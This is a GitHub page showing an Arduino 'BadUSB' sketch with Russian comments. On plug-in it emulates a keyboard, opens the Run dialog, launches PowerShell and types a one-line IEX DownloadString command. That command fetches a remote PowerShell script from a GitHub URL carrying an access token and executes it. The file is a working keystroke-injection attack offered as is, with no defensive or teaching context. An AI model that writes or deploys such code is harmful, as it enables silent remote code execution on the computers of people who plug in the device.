-
Notifications
You must be signed in to change notification settings - Fork 0
/
SySInfo.ino
36 lines (28 loc) · 1.11 KB
/
SySInfo.ino
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#include <Keyboard.h>
void setup() {
Keyboard.begin();
delay(1000); // Подождать, чтобы пользователь успел подключить устройство
openPowerShellAndExecuteScript();
}
void loop() {
// Пустой цикл, код будет выполняться только один раз при старте
}
void openPowerShellAndExecuteScript() {
// Открываем меню "Run" (WIN + R)
Keyboard.press(KEY_LEFT_GUI);
Keyboard.press('r');
delay(100);
Keyboard.releaseAll();
delay(1000);
// Вводим "powershell" и нажимаем Enter
Keyboard.print("powershell");
Keyboard.press(KEY_RETURN);
Keyboard.releaseAll();
delay(1000);
// Вводим ваш скрипт PowerShell для выполнения
Keyboard.print("IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/kreniov/BadUsb/main/powershell.ps1?token=GHSAT0AAAAAACGMEHLNCBGDDFCN5FZJDZ6MZG46AHA');");
Keyboard.press(KEY_RETURN);
Keyboard.releaseAll();
// Задержка, чтобы ускорить ввод команд
delay(500);
}